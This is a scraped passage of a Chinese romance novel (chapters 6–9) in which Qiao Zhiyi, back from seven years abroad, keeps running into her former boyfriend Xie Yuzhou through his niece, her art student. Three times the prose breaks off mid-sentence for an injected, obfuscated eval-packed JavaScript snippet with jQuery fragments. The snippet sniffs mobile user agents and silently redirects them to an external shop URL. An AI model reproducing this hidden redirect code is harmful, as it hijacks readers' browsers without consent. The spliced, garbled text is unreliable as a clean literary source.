屋内师母听到声音,忙倒了杯热茶端出来给乔栀意。
她接过礼貌道谢。
“您这好好的怎么被车撞了呢?”
“现在的小年轻啊,开车拐弯都不减速的,我在路上走得好好的,飞来横祸……没事,不说这个了。”
蒋老师说起这就来气,没再继续这个话题,问她,“你什么时候回国的啊?这都好多年没回来过了吧。”
“是啊,好多年了。”乔栀意垂下眼睫,抿了口热茶,“就上个月才回来。”
“这次回来还走吗?”
“不走了,家人年龄大了,想多陪陪。”
蒋老师笑着点点头,忽地来了一句,“阿舟知道你回来了吗?”
乔栀意捏着杯壁的手一紧,淡淡“嗯”了声。
虽然两人都没提,但蒋老师大概能猜到两人的情况,他漫不经心地说,“这小子,前两年还时不时来看看我,这两年都不来了。”
乔栀意抿了抿唇,随口回答道,“他可能是太忙了。”
“他哪里是忙啊?”
蒋老师毫不客气地揭露,“这小子前两年过来的时候每次都问我你有没有来过,我说没有。他后来就不来了。你看看,多没良心。”
乔栀意噎住,有些不敢相信。
他前几年竟然还会和蒋老师谈论她吗?
是没放下,还是后知后觉地不甘心,怨恨,想找她要个说法呢?
短暂地思考片刻,这问题又被她抛掷脑后。
现在思考这些都已经没有什么意义了,后面这几年,他就不会再过来谈起她了。
这足以说明,就算刚开始他还有些放不下,后面也彻底放下了。
七年过去,早已物是人非。
“栀意结婚了吗?”
这突如其来的问题,乔栀意刚喝下去的茶呛在喉咙,连连咳嗽几声,“老师,我这暧昧对象都没有一个,和谁结婚呢。”
蒋老师大笑。
两人闲聊间,忽然刮起了一阵风,原本晴朗的天空也变了颜色,黑沉沉的乌云遮住太阳。
蒋老师拄着拐杖进了屋,乔栀意和师母一起把躺椅和晒着的棉被衣服收了回去。
瓢泼大雨顷刻间落下。
今天这是阵雨,下一会儿就会停。夫妻二人邀请乔栀意留下吃午饭,等雨停了再走。
乔栀意看着门外连成线的雨珠,也没拒绝。
饭桌上,蒋老师随手拍了一张饭菜和用餐人的照片,给谢聿舟发过去:【有良心的孩子都知道我出院要来看看我。】
发完这条消息,老人家放下手机。
心中默念一声,为师也就只能帮到这了。
吃完饭外面的阵雨就停了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261005|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,光秃秃的树枝往下滴着水珠,砸向半遮半掩埋在泥土里的枯树叶。
下过雨的道路泥泞湿滑,更加不好走。高跟鞋踩上去,鞋跟直往里陷入,踩出一个又一个细小的泥坑。
乔栀意拎着长长的裙摆,纵使很小心,还是无可避免溅到了星星点点的泥渍。
她低头认真看着脚下的路,丝毫没有注意到前方一个越来越近的男人身影。
脚下鞋跟又一次陷入,一阵寒风席卷,乔栀意肩上搭着的卡其色披肩被吹到身后,肩颈瞬间被刺骨的寒意侵袭。
她下意识转身去接,陷入的鞋跟却不听话,披肩落到潮湿泥泞的地面上,她一只脚脱离了鞋,踩到湿滑的泥土地面,一个踉跄,身体直直往后倒下去。
出乎意料。
她并没有摔倒,一只沉稳有力的胳膊稳稳托住了她纤细的腰肢。
看清楚面前人的脸,乔栀意差点忘了呼吸。
谢聿舟?!
他今天怎么也来了?
这么巧吗?
他穿着件深灰色大衣,逆着光的身形高大俊朗,漆黑的发丝被冷风吹得凌乱,眉眼立体深邃,幽深微冷的眼眸一瞬不瞬盯着她。
乔栀意还没反应过来,下一刻,他又将她稳稳打横抱起。
谢聿舟没说话,就这么抱着她往前走。
烟草混杂着雪松的香味严丝合缝将她笼罩。乔栀意大脑宕机了一会儿后终于清醒过来,开始挣扎,“谢聿舟?你这是做什么?”
“你放我下来!”
“谢聿舟,我在和你说话!你听不懂吗?”
没得到回应,乔栀意挣扎得更加用力,可过大的体型和力量差距,让她在他怀里像是蜉蝣撼树。
多年未见,他的肩膀和胸膛比记忆中更加宽沉。
推推搡搡间,脚上另外一只高跟鞋又被她踢飞了出去。
她两只柔白的脚都光着在冷风中,一只脚还沾染着潮湿污秽的泥土。
谢聿舟总算舍得开口:“现在还要放你下来吗?”
如果此刻他放下她,她就会光着脚踩在泥土地上。
乔栀意咬着唇,没再挣扎,只平静冷漠地呛他,“都有孩子的人了,这么抱着别的女人不合适吧?”
似乎是觉得好笑,谢聿舟轻嗤一声。
脚步顿在原地。
他低睫,直勾勾看着她的眼睛,反问道,“我和谁有孩子了?”
这句话是什么意思?
是在否认?
乐萌真的不是他的小孩吗?
她还没来及接话,谢聿舟紧接着又说,“怎么?你很介意?”
散漫又欠欠的语调,轻松将她丢出去的火药味又扇了回来。
曾经满心满眼都是她的人,再重逢却连孩子都有了,说心里一点没有感觉那是假的。
明明之前是她先提的分手。
明明她知道,自己根本就没有资格去介意,不该生出一丝一毫这样的想法。
前方停着一辆黑色跑车。
谢聿舟抱着她继续迈步往前走着,不知道是不是觉得在两人较量中占据到了上风,步伐似乎都比方才更轻快了些。
乔栀意不甘被对方呛得哑口无言,处于下风,冷声道,“你想太多了,你和谁有孩子,有几个孩子,都和我没关系。”
“我现在介意的是你不该抱着我,我们好像并不熟吧?”
话音刚落,她能感觉到男人禁锢她的力道又紧了几分。
“不熟?”
谢聿舟拉开车门,将她塞进车后座,混不吝地扯了扯唇,“乔小姐,你觉得两个负距离接触过的人,能叫不熟么?”
7. 第七章
谢聿舟丢下这个火药味十足的问题就离开了。
乔栀意拿过身旁的纸巾擦着脚上的泥土,脑袋生锈了一会儿才反应过来,那句负距离接触过是什么意思。
但对方只是点到为止,提这个似乎只是为了呛她一下,并不在意她的回答。
她也就装作若无其事听不懂的样子。
谢聿舟再次回来的时候,手上拎着她的两只高跟鞋和披肩。白色高跟鞋显然是被擦拭过,一尘不染,干干净净的。
披肩却还是脏兮兮的,沾上了浑浊的泥土,洇着一大片水渍。
他把披肩放到她身旁位置,鞋子放到地面。
乔栀意身子侧着探出车门,调整好姿势,正准备跳下去穿鞋。
谢聿舟忽然半蹲在她的面前,修长指骨紧紧握住她的赤/裸的脚踝。
他的掌心宽厚滚烫,与她冰冷的小腿肌肤相触。
冰与火的极致碰撞,像是被电流击中。
乔栀意下意识挣扎,却不小心蹬上了他的肩膀。
从这个角度,能透过半敞开的衬衫领口看到他锁骨上一颗小小的黑痣。
从前她深夜跟他胡闹的时候,就喜欢亲那个位置。
底下半蹲着的男人显然也愣了一下,稍稍抬眸看她。
乔栀意脚尖不自觉蜷缩一下。
脑海中想的是和他继续争锋相对的较量,身体却没有这样作出反应。
她居高临下地看着身前黑漆漆的脑袋,有片刻的晃神。
谢聿舟有洁癖,却从不嫌弃给她穿鞋脏。
以前他也这样给她穿过鞋。
那是高三的冬天,鹅毛大雪在道路上积压了厚厚的一层,学校也没放假。
她来到班级的时候,鞋袜都湿了。谢聿舟很快注意到,直接翘掉了一节课给她买雪地靴和棉袜。
他回来的时候正是下课,他就半蹲在她的身前给她换鞋。
少年眉骨英挺,高鼻薄唇,乌黑浓密的眼睫在眼睑处投下一片阴翳,手上动作温柔又细致。
身边同学们齐刷刷全是惊叹到难以置信的目光。
乔栀意有些不好意思,小声提醒他,“谢聿舟,这么多人呢。”
谢聿舟低着头,继续专心地给她穿鞋,吊儿郎当地回她:
“换个鞋而已,又没做什么。”
作为奖励,那时的她在晚上放学后主动踮起脚吻了下他的脸,然后直接被他扣住后脑勺热吻,亲得差点喘不过来气。
而现在,她只是不疾不徐地站好,连一句客气又疏离的“谢谢”都没有说。
方才还是针尖对麦芒的互呛,此刻两人都没再继续方才那火药味十足的话题。
彼此都知道,再争执下去,只会让自己难堪。
乔栀意垂着眼睫,视线落到他的一边膝盖位置,那里被泥水洇出了一块水渍。
沉默着,沉默着。
“上车吧。”
终是有人率先开口打破沉默。
“我刚好回市区有事,顺路。”丢下这句话,谢聿舟就迈步走向驾驶位。
乔栀意抬眼看他,平静问,“你不是来看蒋老师的吗?还没过去就要走了吗?”
谢聿舟语气漫不经心:“公司业务繁忙,临时有事。”
虽然他没再呛她,但乔栀意还是觉得以两人现在的身份,他送她回家并不合适。
她抿了抿唇,信口胡诌,“不用了,我开车过来的。”
“是么?”谢聿舟忽然回头看着她,散漫问,“你车停在哪儿了?”
乔栀意随便指着前方一个停满车的地方,“就那里。”
谢聿舟轻挑眉稍,低不可闻地轻笑一声。
“你有驾照吗?”
“当然。”
乔栀意回答得毫不犹豫。
谢聿舟拖腔带调地“哦”了声,问她,“你跟谁买的?”
乔栀意:“······?”
跟谁买的?
他怎么会这么问?
“买卖驾照可是犯法的。”他又说。
“我——”乔栀意还想再继续编下去,可突然就反应了过来。
高中毕业她就出了国,如今回来才不到一个月,她怎么会有驾照呢?
她沉默地皱着眉,表情看上去十分苦恼。这短短的沉默几秒钟,彷佛在脑海里面已经构思好了千万个拒绝他的借口。
“乔小姐,你是不是误会什么了?”谢聿舟忽然笑了一下,对她的称呼礼貌而疏离,“要不是因为乐萌,我才懒得多管闲事。”
因为乐萌。
怪不得……
说完,他自顾自坐上驾驶位,砰一声关上车门。
乔栀意听到他闲散淡漠的嗓音穿过车窗,带着微不可察的讥诮嘲讽,“还是说,对当初耿耿于怀的人是你?怕自己又把持不住?”
她怕自己把持不住?
还是“又”把持不住?
行吧。
谁让当初她主动招惹过他那么多次。
她现在要是不敢上车,似乎就默认了他口中耿耿于怀的事实。
既然他已经把话挑明,一副全然无所谓的样子,可以像对待正常人一般对待她,那她确实也不该扭扭捏捏的。
思索片刻,乔栀意还是上了车。
上车后乔栀意报了住所的位置,两人就没再说话。
谢聿舟打开了空调,车内温度很高。她的睡眠质量并不算好,在国外时失眠是常有的事,回国后已经算好了很多。
此刻暖呼呼的空调风吹着,一路行程颠簸,乔栀意不知不觉就睡了过去。
驾驶座的男人很快察觉到,靠边停了车。
她穿着一件薄薄的月白色长裙,纤细的双臂紧紧抱住自己,身形清瘦又单薄。不知道梦到了什么不好的事情,秀眉轻轻蹙起。
也不知道国外有什么好的,能让她待在那里七年,把自己养成这样。
可他不也在那里待了四年吗?呵。
看了一会儿,他默默脱下大衣外套,轻手轻脚地给她盖上。
天色擦黑,谢聿舟无端想到最后一次见到她的场景。
冷风吹乱他的发丝,收回思绪的时候,金属打火机和烟盒就已经在手上了。
他站在马路边点燃一根烟,缓缓吐出白雾,黑眸一点点隐于沉沉夜色。
乔栀意迷迷糊糊醒来的时候,天已经黑了,车辆就停在她公寓的门口。
也不知道是什么时候到的。
盖着的外套从她身上滑落,她疑惑地看了前方一眼,“你的衣服?”
谢聿舟看着后视镜,头也没回,漫不经心来了句,“大冷天的,乔老师就别要风度不要温度了吧。”
“冻出病来,遭罪的不只是你,还有你的学生。”
语气懒散又欠揍,乔栀意还听出来些许戏谑的嘲讽。
但确实有些道理。她要是感冒生病了,就没法给乐萌上课,说不定还会传染给乐萌。
乔栀意顿时明白了他为什么要给她外套了。
是她疏忽了。
“我知道了,多谢提醒。”
她抿了抿唇,把外套递到前方。
谢聿舟没接,懒懒掀起眼皮,“拿去吧,冻出病来回头乐萌又要心疼了。”
“我没那么容易生病。”乔栀意还是将他的外套递到了他旁边。
她拉开车门,正要下车,前方忽然不紧不慢来了句,“车费。”
“啊?”
“想白嫖啊?”谢聿舟自问自答说,“也不是不行。”
乔栀意觉得自己一定是没睡醒,她干嘛要“啊”这一声呢。
两人如今的关系,坐他的车给车费才是正常的。
是她想当然了。
那,怎么给呢?
他这几百万一辆的豪车平时不接客,没有挂付款码。
她也没有他的微信,出国后她就把他的联系方式全部删除了。
说来也好笑,他占据了她整个青春,却也是青春结
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261006|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束后唯一一个删掉的人。
短暂思忖几秒,乔栀意拿出手机,“我扫给你。”
下一刻。
谢聿舟气定神闲地亮出来自己的微信二维码名片。
-
乔奶奶出院的这天上午,乔鸿锦亲自开车过来接。
乔家一家人难得来得整整齐齐。
一路上,继母钟清芸都在旁边和乔栀意絮絮叨叨的,“栀意啊,你今天可算回家了。回国这么久了,到现在也没回去一趟。工作有这么忙吗?”
“嗯,忙的很。”乔栀意随口回答。
“少儿画室有什么忙的,一周才几节课。她就是烦你们,不想回家罢了。”
副驾驶位置的乔奕繁毫不客气地揭露。
本来钟清芸也就随便问问,乔栀意回答得也算客气,但乔奕繁这么一说,就差点挑起来不必要的冲突。
钟清芸训他,“我和你姐姐说话,你插什么嘴呢?”
乔奕繁:“不是你说的,要我今天多和她聊聊天吗?”
“聊天有你这样聊的?”钟清芸狠狠剜他一眼,又笑着和乔栀意说,“栀意,你别介意啊,你弟弟一直都这样,说话不好听,心其实不坏的。”
乔奕繁是乔栀意同父异母的弟弟,刚满十八岁。乔栀意自小养在京郊老宅,和他接触不多。她对他的印象还停留在他十一岁,那个喜欢和她抢东西吃的叛逆少年。
乔栀意淡淡道,“我跟一个小屁孩没什么可计较的。”
乔奕繁急了,“你说谁小屁孩呢?”
“谁急了说谁。”
“你——”乔奕繁回头,气得拿手指着她。
乔鸿锦手摸在方向盘上,开始一本正经地教育起乔栀意,“你一个女孩子家家的,说话怎么这么不好听?你弟弟也没说什么,你非要挑事做什么?”
钟清芸连忙赔着笑脸,“哎呀,栀意在国外待了七年,好不容易才回来,你就别数落她了。再怎么说也是你亲闺女。”
她这看似劝解的话,却更烧起了乔鸿锦心头的火,“谁家亲闺女一声不吭地跑到国外待七年,电话不接,短信不回。不知道的人还以为她父母都死绝了呢!”
乔栀意不甘示弱,平静反问他,“我为什么出国你不知道吗?”
空气中弥漫着浓浓的火药味,乔奶奶想当然护着孙女儿,“小满是正正经经的出国留学,又不是出去玩。”
乔鸿锦不以为然,“国内那么多好大学她不上,非要崇洋媚外跑出去。”
“你还说!”乔奶奶皱着眉头,“你闺女一个人在外这么多年,瘦的跟猫一样。你这当父亲的不心疼就算了,一见面就甩脸子做什么!”
乔鸿锦看老人家情绪激动,这才熄了火,“行,你老人家消消气,我不说了。”
乔栀意垂下眼睫,握紧奶奶布满皱纹的手。
只有奶奶在的时候,她才能偶尔感受到自己是这个家里的一份子。
午饭家里的保姆烧了一大桌的菜。
饭桌上,钟清芸一直在对乔栀意嘘寒问暖,问她的学业,问她的工作,最后又问到她在美国有没有交男朋友。
当得知乔栀意现在还是单身后,钟清芸意味深长地看了乔鸿锦一眼,“栀意年龄也不小了,到现在一次恋爱都没谈过,咱们做父母的也该上点心了。”
乔鸿锦点头。
乔栀意忽然就明白了,这是又要安排她婚事的意思,她冷脸:“谁说我一次恋爱都没谈过?”
饭桌上的人都懵了。
乔栀意高中毕业就出了国,在美国也没交男朋友,刚刚分明也说了她现在单身。
她回国才短短一个月,能谈过恋爱又分手了吗?
钟清芸不确定地追问,“栀意现在是有对象吗?那带回来给我们看看也是好的。”
乔栀意没理她,筷子一撂,直接下了饭桌。
身后是乔鸿锦厉声地追问,“你把话说清楚,刚刚那句话是什么意思?你和谁谈过了?什么时候谈的?”
8. 第八章
太久没有回到自己的房间,和记忆中大差不差的模样。
保姆将她的房间打扫得很干净,书桌物品摆放得整整齐齐,只是没有她喜欢的明艳的艺术色彩。
她在美国住的房间里面摆满了自己设计的衣裙和五颜六色的装饰品,墙上挂满了自己画的油画。
曾经这里也有过。
但后来它们都被乔鸿锦扔掉了。
书桌的抽屉是上了锁的,乔栀意好一会儿才想起她把钥匙藏在了柜子上放着的存钱罐里。
大概是因为她那时在里面放了一点积蓄,竟然真的没有被扔掉。
一个模样有些难看的帆船陶瓷存钱罐,蓝白色的船身,扬着白帆,舟内载满了一朵一朵洁白盛开的栀子花。
滑雪、马术、篮球、赛车、射击,谢聿舟样样在行。
但在艺术创造这方面,他显然没有她有天赋。
那时的她看着烧出来的成品,毫不客气地吐槽他,“哎?谢聿舟,你是传说中的手残党吗?”
“长得人模人样的,怎么手工diy能这么丑呢?”
他将她送他的陶艺作品捧在手心,似笑非笑看着她,“我女朋友做的好看就行了。”
他语调欠欠的,“反正她做的给我,我做的给她。我赚大发了。”
可恶!
她被他混不吝又欠揍的样子激到,伸手想要抢回她自己的手工。
谢聿舟迈开长腿就跑,她就在后面奋力追他。
盛夏蝉鸣聒噪,晚风吹乱少年的发丝,路灯将他的影子拉的很长,白色衣摆随风鼓动。漆黑寂静的夜晚,他却像骄阳般热烈又张扬。
跑着跑着,前面的人忽然停下。
转身,张开双臂。
乔栀意一时之间没刹住车,就这么狠狠扑到了他的怀里。
······
取出钥匙打开抽屉,里面装着的是更多的回忆。
满满一抽屉五颜六色的情书。
她觉得自己打开抽屉这个举动就是个错误。
可思绪回笼的时候,她竟然已经拿了一封在手上了。
身后忽然传来房门被推开的声音,乔栀意下意识将手上的粉色信笺放回去,关上抽屉。
乔奶奶关上房门,坐到床沿边,“和奶奶说说吧,刚刚那句话是什么意思呢?”
瞧孙女儿不说话,乔奶奶又说,“怎么了?几年不在身边,小满和奶奶生疏了?都有秘密了?”
乔栀意这才坐到乔奶奶身旁,有些不知道怎么说,“就、字面意思。”
乔奶奶察觉端倪,猜测着:“高中谈的对象?你出国后就分手了?”
“嗯。”乔栀意微微颔首。
乔栀意本来还以为奶奶要批评她高中就谈恋爱,却没想到,奶奶出奇平静地接受了。
“那这小伙子不太行啊,接受不了异地恋。要是他真喜欢你,要么等着你,要么和你一起出国。”乔奶奶摇摇头,“不过也是,你们那个年纪谈的大多当不得真。”
乔栀意听出来了,奶奶还以为是对方看她要出国就提出了分手。
殊不知,她才是提出分手的那个人。
“奶奶知道你不喜欢你爸他们给你安排婚事,可这件事情他们也不算完全做错了。为人父母,自然会操心儿女的婚姻大事。”
乔栀意垂下眼睫,“可我就是不想结婚,我现在就只想一辈子陪在奶奶的身边。”
“说的什么傻话?”乔奶奶没好气地看了她一眼,“怎么可能一辈子不结婚陪着我这个老太太?那我岂不是罪过大了。”
乔栀意故作生气扯开话题,“奶奶不希望我陪着吗?”
“不是不希望,只是奶奶年龄大了,说不定哪一天就——”
“呸呸呸。”不等奶奶说完,乔栀意就严肃打断她,“不许说任何不吉利的话。”
乔奶奶笑:“你一个年轻人比我一个老婆子还要迷信。”
“我就是希望以后能有个人陪在你身边,好好照顾你。”
乔栀意不以为意,“我自己可以照顾好自己。”
乔奶奶看着她那巴掌大的脸,都没好拆穿她,只能好好和她说。
奶奶猜测她现在这么不愿意结婚的原因,“之前那男孩太让你伤心了?”
乔栀意摇头。
恰恰相反,是他从来没有让她伤心过。
她在美国这么多年,也努力尝试和别人接触过,但date一次后就没了下文。
她完全没有任何进一步发展的冲动。
她时常会想,自己在年少时,就不该遇到谢聿舟这样的人。
在某些失眠的夜晚,她会努力在脑海中搜罗谢聿舟的不好。
他有时候嘴挺欠的……
但说情话时又很动听。
他有时候挺自恋的……
但平心而论他确实长在她的审美上。
他一个大男人不是很能吃辣……
可每次吃饭都是依着她的口味,陪她吃麻辣火锅时他也会吃很多。
他睡觉时总喜欢抱着她,让她都不好随意翻来覆去……
可他的怀抱又总让她感到安心。
思来想去,她最终只能想到一条。
分手时他说的那句——
我也不是非你不可。
曾经说好大学毕业就和她结婚的人,被她亲手弄丢了。
乔奶奶又猜测是不是她父母失败的婚姻让她有所顾忌,乔栀意心不在焉地“嗯”了声。
乔奶奶叹了口气,苦口婆心劝解,“你爸妈是你爸妈,你是你。你不能光看他们,你看看我和你爷爷呢?”
“奶奶,你是很希望我结婚吗?”
“不是,不是这个意思。”
乔奶奶拍了拍她的手,很认真地说,“奶奶是希望你幸福。”
乔栀意抿着唇,没再说话。
在感情上,要怎么定义幸福这个虚无缥缈的词呢?
或许是自己喜欢的人刚好也喜欢自己。
可有个自己喜欢的人本就不容易,喜欢的人正好也喜欢自己,那太难得。
-
新的一周,乔栀意照常来到画室。
正式上课之前,她坐在讲台上捂着肚子,喝着保温杯里的热水。
台下一群小孩子摆弄着画笔和画板,陆陆续续有几个小朋友跑上来和她说话问好。
但只有谢乐萌注意到了她的异样,“乔老师,你今天是不是哪里不舒服呀?”
小姑娘穿着一件粉色的卡通卫衣,戴着灰色贝雷帽,头发编成两个麻花辫,眼睛宝石般剔透明亮,一眼看得出来是家里娇生惯养的小公主。
乔栀意没忍住摸了摸她白嫩嫩的脸蛋,“乐萌是怎么看出来的呢?”
她是真的意外,小孩子的观察力竟然这么细致。
“因为之前每一天乔老师上课之前都会下来和我们说话,今天都没有。”小姑娘摸了摸乔栀意放在小腹上的手,嗓音甜甜糯糯的,“乔老师你是肚子不舒服吗?”
乔栀意弯着眼睛,嗯了声,“没什么大事,过几天就好了。”
老毛病了。
她生理期前两天都会肚子疼,结束后也就很快好了。
高中的时候,她生理期不规律还容易痛经,一开始谢聿舟总是给她带红糖姜枣茶和暖宝宝,后来发现不怎么管用,他就找他的中医母亲开中药帮她调理。
她起先嫌那些药苦就没打算好好喝,他说那是不苦的中药,她才不信。
他后来就天天早上泡好在保温杯里面,还买果汁软糖哄着她喝,打破了她对中药的刻板印象。
原来中药也不是都那么苦。
再后来她的生理期规律了不少,也不痛经了。
只是在美国待了那么多年,又打回了原形。
谢乐萌将热乎乎的掌心放到乔栀意平坦的小腹,轻轻揉了好一会儿才离开。
台下声音嘈杂,谢乐萌找了个安静的角落,打开电话手表发出去一条语音消息:【乔老师今天肚子不舒服。】
轻松愉悦的一节美术课很快结束。
临近下班时间,画室老板凡嵩走到乔栀意的身旁。她意外,“你怎么来了?”
男人一身端庄的深灰色西服套装,蓝色格纹领带一丝不苟,脸上笑意温和,“明瑶说过会来找我们,一起吃晚饭。我就先过来和你集合了。顺带来看看这群小孩有没有进步。”
乔栀意莞尔,“原来如此,我刚刚没看手机,都不知道明瑶要过来。”
放学时间到了,两人一起目送着一个接着一个小孩被接走。
黑色劳斯莱斯平稳停在马路边。
车窗降下,搭在车窗边的那只手青筋盘旋,骨骼分明的指间夹着一根即将燃尽的烟。
烟灰款款落下,猩红的烟星烫了下手指,男人才意识到时间差不多了。
车后座的门打开,锃亮的黑色皮鞋迈出车后座着地。
谢聿舟站直身体,手上拎着满满当当的东西走上前,一步步踏上台阶。
亲自给她。
让乐萌给她。
亲自给她。
让乐萌给她。
亲自给她。
让乐萌给她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261007|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
走完最后一节台阶,是数到让乐萌给她。
谢聿舟不动声色地往后退了一步,再走上去,心里默念一声,亲自给她。
他抬眼往玻璃门里面看——
凡嵩直直看着乔栀意白净的脸,沾到了星星点点的彩色颜料,他抬手帮她擦了一下。
瞬间的触碰,乔栀意下意识偏开了脸,自己抬手擦了两下,“是刚刚沾到颜料了吗?我过会照照镜子擦掉就行。”
凡嵩点头,笑道,“不过也没事,这颜料在你脸上就跟星星一样。还怪好看的。”
“这能像星星,你真会开玩笑。”
乔栀意也弯唇笑,丝毫没有注意到画室门外男人炽热的视线一寸不移地看着两人。
谢聿舟一动不动地站在门外,脚步就这么被钉在原地。
他捏紧手上的原色牛皮纸袋,指节因太过用力而泛白。
身旁是垃圾桶,他喉结滚了下,扬起手就要把东西扔进去。
室内的谢乐萌忽然看到了他,隔着玻璃门挥了挥手。
谢聿舟下颔紧绷,收回扬起的手,面无表情地走向画室。
谢乐萌踩着玛丽珍小皮鞋飞奔向他,笑眯眯地问,“这都是给乔老师的吧?我去送咯。”
男人还没应声,她就一把拿过他手中的纸袋,又飞奔回去。
乔栀意正在和凡嵩说着话,一转眼瞧见谢乐萌手上拎着满满当当的东西跑过来,“乔老师,这是我家人给你的。”
乔栀意眉心微动,下意识往门外看去,猝不及防对上那双深邃冷冽的眼睛。
对视几秒,她率先收回视线,低睫查看,是她那日遗落在谢聿舟车上的披肩,还有热饮和中药。
凡嵩疑惑地看向门外,就看到一个格外高大的男人迈步走了过来。他认出来,竟然是谢家太子爷。
这还是他第一次在画室见到这位爷,看上去他今天心情并不算好,脸色很差。
“谁说这是给她的?”
头顶传来一道熟悉的声音,谢乐萌疑惑抬头,“这不是给乔老师的吗?”
谢聿舟面色阴沉,嗓音漠然又冷冽,听起来没什么情绪,“你想给就给吧。”
乔栀意抿了抿唇,只将自己的披肩拿在了手上。看得出来被洗过,那天掉到泥土地面的污渍不见,像新买的一样干净。
谢乐萌小脑袋全是问号,舅舅怎么会有乔老师的披肩呢?
她好奇地问:“咦?你和乔老师是不是认识呀?”
“不认识。”
谢聿舟淡淡道。
明明两人前不久才坦然相对过,他现在却又直接说不认识。
也是,两人现在之间的关系比陌生人也没好到哪里去。
谢乐萌还是将手上的东西递向乔栀意,乔栀意没接,“乐萌,这不是给我的,我不能要。”
“不要就扔了吧,”谢聿舟没有多看她一眼,只沉声说了句,“谢家送出去的东西从不收回。”
他转身,径直穿过她和凡嵩两人中间的空隙,阔步往外走。
谢乐萌直接把东西放在地上,挥挥手道着别,“乔老师再见。”
丢下这句话,小姑娘就迈着小碎步追上前方的男人。
夕阳将坠未坠,一大一小的背影逐渐消失在视野,乔栀意又听到画室里面几个小朋友的议论声音,“刚刚那是谢乐萌的爸爸吗?”
“她爸爸好帅呀!比电视上的大明星还帅呢!”
一小男孩指着外面缓缓驶出的黑色幻影,“她家的车也好酷啊!好想坐一坐!”
另一个小男孩的关注点不在车上,“谢乐萌爸爸竟然亲自来接她,我爸爸从来都不来接我。”
“我爸爸也是!每次都是我妈妈来接我!”
“她爸爸好好哦!谢乐萌太幸福了!”
虽然说这家画室里面全是富家子弟,但凡嵩也没想到谢家的小孩会在这里。
他感叹,“没想到这里还有谢家的小孩。谢家大少爷什么时候结婚生子了吗?我竟然都不知道呢。”
乔栀意心不在焉地回了句,“我也不知道。”
凡嵩看着乔栀意手里的披肩,好奇问,“你和谢家大少爷认识吗?”
乔栀意稍怔,低声说:“他刚刚不是说了吗?不认识。”
她语气听上去不是很好,凡嵩就没再多问,扯开话题,“这小姑娘看着还挺喜欢你的呢。”
“嗯,我也挺喜欢这个小姑娘的。”
乔栀意看着地上的热饮和中药,眼睫轻颤了下。
也不知道本该属于谁的东西被误送给她了。
9. 第九章
三人一起来到一家火锅店吃的晚饭。
红汤锅沸腾冒泡,新鲜的菜下进去煮好之后,凡嵩一直在用漏勺捞菜给乔栀意。
乔栀意莞尔,“不用了,你自己捞着吃吧。我今天胃口不是很好,差不多吃饱了。”
凡嵩关怀问,“你怎么了?要送你去医院看看吗?”
“没事儿,过几天就好了。”
明瑶注意到乔栀意无意识捂着小腹的动作,顿时意会,“早知道今晚我们就去吃点清淡的了。”
凡嵩终于察觉到情况,站起身来,“你们等我一下,我去旁边买点热粥和点心。”
等男人离开,明瑶才笑眯眯地八卦,“栀意,你觉不觉得凡老板特别关心你啊?”
“嗯?”乔栀意微微蹙起眉头,“没有吧,就正常的同事。他也很关心你吧。”
“凡嵩这个人还可以,不是滥情的人,挺靠谱的,家境也不错,爸妈都是做生意的。”
乔栀意听明白了明瑶的意思,只淡淡说了句,“算了吧,没什么感觉。”
明瑶轻叹一口气,“哎,也是。没办法,谁让某人的初恋是谢聿舟呢?起点太高了。”
明瑶边喝酒,边回忆往昔,她感叹高中那会儿谢聿舟追乔栀意太过于高调张扬。
乔栀意无声地笑了笑。
当初人人皆知是谢聿舟声势浩大追的她,没人知道,其实最开始是她主动招惹的他。
“乔栀意——”
“嗯?”
“你、是不是对我有意思啊?”
“……算是吧。”
“那我追你吧。”
“啊?这逻辑好像不太对。”
“怎么不对?”他笑,“这种事情难道我还能让你一个女孩子主动吗?”
“你记得让我多追一会儿啊,说不定,这辈子就这么一次了。”
那时的她从来没有想过,自己会获得一个少年全部的真心。
最后,再亲手将它彻底碾碎。
明瑶托着脸,满脸好奇看着她,“不过话说回来,这么多年也没见你再谈一个。我真的很想知道,你是不是对谢聿舟还有感觉啊?”
乔栀意没说话,只觉得喉间有些发涩,她端起面前的温开水喝了一口。
青春时期生涩的甜蜜,像一块巧夺天工的玻璃,看上去精致漂亮,但随便落地一摔,碎的只剩拼不起来的玻璃渣。
手中的玻璃杯“哒”一声落桌,乔栀意云淡风轻地开口,“这都不重要了。”
重要的是,他不可能再喜欢她了。
吃完饭凡嵩提出送两人回家。
室内暖气充足,可出了火锅店的门,外面像是两个世界。夜晚的冷风一吹,冻得人头皮发麻。
